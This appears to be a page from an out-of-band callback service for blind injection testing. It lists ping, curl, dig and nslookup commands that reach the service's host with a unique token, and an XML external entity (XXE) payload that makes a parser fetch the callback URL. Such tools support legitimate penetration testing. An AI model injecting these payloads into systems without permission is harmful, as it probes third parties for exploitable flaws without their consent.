$ ping -c1 -p 0075c21fab55b975e740eff7489c9e00 unhack.ca
 
$ curl http://unhack.ca/p/75c21fab55b975e740eff7489c9e
 
$ dig 75c21fab55b975e740eff7489c9e @unhack.ca
 
$ dig 75c21fab55b975e740eff7489c9e.ns.unhack.ca
 
C:\> nslookup 75c21fab55b975e740eff7489c9e unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/75c21fab55b975e740eff7489c9e">]>
    <foo>&xxe;</foo>
 
Waiting for ping...